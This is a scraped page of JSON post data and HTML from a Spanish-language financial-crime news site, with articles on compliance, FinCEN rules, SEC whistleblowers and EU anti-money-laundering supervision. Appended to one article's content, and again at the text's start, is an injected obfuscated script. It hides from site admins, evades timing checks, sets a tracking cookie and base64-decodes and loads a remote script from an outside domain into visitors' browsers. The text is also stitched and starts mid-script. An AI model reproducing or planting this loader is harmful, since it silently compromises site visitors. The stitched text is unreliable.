Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y 